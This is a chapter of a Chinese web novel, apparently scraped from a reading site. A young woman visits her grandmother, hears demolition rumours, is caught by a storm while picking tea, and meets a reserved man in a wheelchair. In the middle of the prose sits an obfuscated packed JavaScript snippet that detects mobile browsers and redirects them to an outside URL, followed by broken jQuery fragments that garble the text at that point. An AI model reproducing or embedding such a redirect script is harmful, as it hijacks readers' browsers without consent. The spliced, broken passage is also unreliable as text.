1. 春分

作品:《黄雀风

    春分逢周末,黄阙回了一趟临州。


    外婆笑眯眯迎出来,就看见黄阙眉眼弯弯,双手递上纸袋献宝。


    “我起了个大早去西浦路那家点心铺子排的队呢!差点儿没赶上高铁。”


    “回来就好。”蒋月仙在她脑后抚了一把,“没睡够下午就别上山了,吃完饭去补个觉。”


    黄阙也跟着乐,外婆真好。


    小老太太背影逐渐佝偻,头发却盘得一丝不苟,干净利落地走在前头。


    黄阙随蒋月仙进院。房门大开,茶香混着陈年木头的味道钻进鼻腔。


    她揉揉鼻子,进门时不忘摘下斜挎小包,挂到玄关旁的衣帽架上。


    衣帽架有些年头了。


    楠木制的三脚架子,式样老旧,做工也不精细。冬天的外套挂上去,榫卯咬合处吃力,经年累月摧残后,架子变得有些松散。


    黄阙去年就说要拿奖学金买个新的,外婆却一直舍不得换掉。


    不像厅中央的八仙桌,一样的楠木质地,却要精致许多。桌脚没有笨拙开凿的痕迹,桌边甚至雕了一圈细腻的缠枝纹。


    桌上也摆得讲究。


    笋丝用白瓷小碟盛着,斗笠碗里是乌米饭,中间撒两颗梅子,还盖了芝麻海苔碎。


    杯碟碗筷绕着一枚青花瓷瓶铺陈开来,众星拱月似的,衬得瓶中那枝不具名野花几分金贵。


    桌角支了个小炉,茶汤沸腾,气泡破裂的细碎声响掩没在一道雷鸣里。


    黄阙看向屋外的雾霭山岚,云层压得很低,以至于天色阴沉,不似来时亮堂。


    她的声音也低低的,只说:“要下雨了。”


    这趟回来,满打满算待不足两天。


    要是因为下雨耽误了帮外婆采茶,难免觉得昨夜通宵赶图不值当。


    蒋月仙不甚在意地摆摆手,招呼黄阙坐下,而后背过身去,从斗柜第一层摸出几支香烛并一盒火柴。


    红点在干瘪的纸皮上划了一下又一下,火苗才慢悠悠腾起。蒋月仙用手拢着,先点燃蜡烛,后将三支香并做一排,凑近跳动的烛焰。


    她的动作有些滞缓,黄阙却没想过要帮忙。视线顺着她微颤的手越过肩头,停留在斗柜正上方的黑檀相框。


    只几秒,黄阙就埋下头去,提了竹柄茶壶往梅子饭上浇。


    从进屋起就惦记着早点去茶山,一顿饭吃得心不在焉。


    电视一直播着,也没人看,铿锵锣鸣给沉默的空气加了点背景音。


    眼前伸来一双筷子,接连往她碗里夹了好几块红烧肉。


    “好好吃饭。”


    黄阙“嗯”一声,听见“咿咿呀呀”的昆曲,切换成了临州地方台的茶叶广告。


    外婆见她兴致不高,开了个头,说是有传闻这一片的老房子要拆。


    黄阙涣散的注意力终于集中了一点,思绪却发散得更远。


    她一个学生,对拆迁的认知还停留在“巨额赔偿”、“钉子户拒不搬迁”之类的新闻上,直到几个月前,偶然遇见梁晏清。


    那一天里所见所闻带给她的冲击,远超在咖啡厅或是地铁里听见旁人谈论动辄几个亿的生意,尽管他是在场所有人里,从头至尾都不发一言的那位。


    脑子里无端有了猜测,很快又被否决。


    临州产茶,上鹤陇更是重要产区,居民世代以茶为生,百年前的建筑也保留了下来,只是住户少,拢共不过几十户。


    下鹤陇倒是密些,但那一带的房屋都定期修葺,建筑年代不远不近的,也在前些年的美化工程中统一了整体风格。


    明清年间保留完好的江南民居,再加上茶山这一重要名片,鹤陇一度成为临州旅游热门地,实在缺乏拆迁的理由。


    但又好像方方面面的细节全都能对上。


    “南方”、“茶山”、“商业化”,和一些闻所未闻、记都记不全的拗口词汇。


    可她却清楚地记得临走前想回头道谢,看见梁晏清垂眸翻阅厚重资料时的侧颜。


    他旁边站了个男人,比比划划地讲解着什么,嘴唇张了又合,黄阙只觉得好像自己鱼缸里的鱼,隔着水和玻璃似的,五感不畅,听觉缺失,只剩下眼前的逆光轮廓。


    “啾啾?”


    突如其来的声音打断回忆,黄阙回神时,外婆拧眉问她:“想什么呢叫你好几声都没听见。”


    “没什么。”黄阙肘弯撑上桌沿,又把话题引了回去,“外婆,你刚刚说的拆迁,是真的假的?”


    她很怀疑外婆的消息来源。


    蒋月仙接下话头:“谁知道呢,真要拆,山后那栋新修的楼才叫可惜!修了好几年,眼看着几层小楼起了,结果听见这么个消息。哎……这不白折腾好几年嘛?也不晓得房子主人是谁,怎么舍得的哟!”


    那外婆……


    你舍得吗。


    老房子的一砖一瓦,一草一木,房前的茶山和屋后立了石碑矮矮的墓。


    黄阙都不忍心问。


    她埋头,接连往嘴里塞了几口饭,像是要把胸口发胀的情绪也一并吞进肚子里。


    碗筷一放,黄阙扯了门后的斗笠背篓,抢在外婆前头出了门。


    “不睡觉了?”蒋月仙拿着雨衣追出来,叮嘱了几句,无非是让她注意安全,别累着。


    “知道啦!碗筷就放那儿,等着我回来洗!”


    黄阙溜得很快,生怕外婆要陪着去。


    论采茶,她可是熟练工。


    黄阙刚出生那几年,父亲创业艰难,母亲单位上三班倒,时常要值夜班。


    她几乎是跟着外公外婆长大的,一直等到要读书的时候才接回父母身边。


    从记事起,黄阙就天天跟在蒋月仙后头,外婆长外婆短的,哄着蒋月仙抱她去看外公炒茶。


    蒋月仙急着上山,黄阙跟个挂件似的,趴背上就不下来了。她只好把黄阙装进背篓,再提上一个小竹篓,一起去茶山。


    小小人儿上山也是玩,等到回家时,外婆的竹篓里装满了嫩芽,小黄阙也学着外婆的样子,乐呵呵地向外公展示她拾回来的一篓子宝贝——碎石头,破树叶和一把捏得快要断掉的枯树枝。


    是什么时候开始跟在外婆身后采茶的呢?


    她也不记得,只循着记忆里的小路上山,手上的动作没停,一芽一叶采了小半筐。


    斗笠很大,埋头干活的时候总往下掉,被遮挡的视线被迫集中在茶树和手指间,甚至来不及注意天色早已晦暗不明。


    直到闪电划破天际,周遭万物亮了一瞬。


    倾盆大雨兜头砸下来,黄阙左手将斗笠压得更低一些,右手快速摘下肩上背篓抱在胸前,挡在半边斗笠遮挡的范围内,迎着风往山下赶。


    雨水混着雾气萦绕,视线受阻,她不得不放慢了速度。


    即便已经很小心了,黄阙还是从湿滑泥泞的小路一头栽进了茶树丛里。


    小路和树丛之间的落差不大,着地那一刻下意识用手肘支撑,小臂被碎石滑破几道。塑料雨披不禁刮,被茶树枝挂住从肩后一直撕裂到衣摆,褴褛几条,可怜兮兮地挂在身上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588673|187370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黄阙好气。


    环顾四周,茶叶也甩出去一大半,早知道会这样,不如浪费昨天通宵赶的图纸,浪费一个下午躺在床上听雨睡觉。


    她跪趴在地,拣回手机,而后把离得近的茶叶捧进竹篓。


    余下一些叶片被雨滴溅起的泥点砸得七零八落,散了一地。


    泥腥土气在鼻腔蔓延,黄阙放弃得很干脆,起身时才发现,左边脚踝也扭伤了。


    好在,她还能走。


    手机磕到一角,呈蛛网状裂开,黄阙勉强拨出去电话,屏幕一黑,自动关机。


    她有些泄气,暗叹一声,就不该在高铁上听一路的歌。


    从茶山回到主路,已经不是来时的方向。


    天色擦黑,路灯还没亮,她实在很难在夜幕降临的山脚建立方向感。


    远山影影绰绰,山脚忽然亮了灯。


    有道光柱直直照过来,黄阙下意识闭眼,一阵目眩之后再睁开眼皮,刚刚那辆车已经转了弯。


    车灯尽处,一栋小楼孤零零地矗立在夜雨中,楼外灯光在雨丝里晕成一团,温柔惑人。


    她甚至从外立面看出几分章可的意味。


    江浙一带自建房很多,其中不少新秀之作,也不乏大师作品,堪称卧虎藏龙。


    黄阙拖着肿胀的脚踝,慢慢朝着小楼的方向过去,很难说没有私心。


    远观结构,近看光影,无一处不精心。


    门前路边的不知名野花开得倔强,纤细茎杆弱化了房屋材质线条透出的冷峻坚硬。


    屋檐伸出一截,像是特意而为,只为给夜归旅人遮风挡雨。檐下垂一盏灯,拢在身上,驱散一身春寒。


    小楼设计很大胆,没有现下流行的大面积落地玻璃,却在双开的大门右侧开了扇窄窗。


    出于保护隐私的考虑,窄窗采用的是木质雕花内嵌锤纹玻璃,更添了几分古意。


    屋内光线很暗,黄阙站在窗外,只能窥见一点闪烁猩红。


    她抬手,在门上轻叩几下。


    许久,无人回应。


    回望路的尽头,一片漆黑。


    也许,刚刚驾车离开的就是小楼的主人。


    黄阙回身,破烂的雨衣下摆被风吹起,扫到黄铜门铃。


    很清脆的一声铮响,在雨夜回荡很久。


    久到,她看见门被拉开时,耳边仍有余音未绝。


    一条不大不小的缝,檐下暖黄透过一缕,斜斜地洒在男人身上。


    他坐在轮椅上,比黄阙矮了一头,看向她的眼睛半晦半明。


    “梁……老板?”


    黄阙没想过,会再见到他。


    还是在离燕市那么远的小山村。


    闻声,梁晏清拉开大门,灯光照亮了他整张脸。


    黄阙垂头看他,轮椅上的男人依旧一副冷淡模样,身上那件灰色羊绒薄衫质地柔软,硬生生将他那点疏离感冲淡。


    黄阙浑身湿透,在瑟瑟的春风里冻得发抖,连带着声音都发颤:“能借用下手机么?”


    她其实有点怵。


    那天会在众人中请他帮忙,也是因为他在相互攀谈的人群中独自一人,格外显眼。


    尽管之前打过交道,但毕竟不熟,更何况他们那样的人,不见得能对只打过一次照面的学生产生什么印象。


    梁晏清调转轮椅,没有回答这个问题。


    门就那样开着,像晚风横亘整个山丘。


    她犹豫着要不要再次开口,却听见那道不近人情的声音叫她。


    “进来。”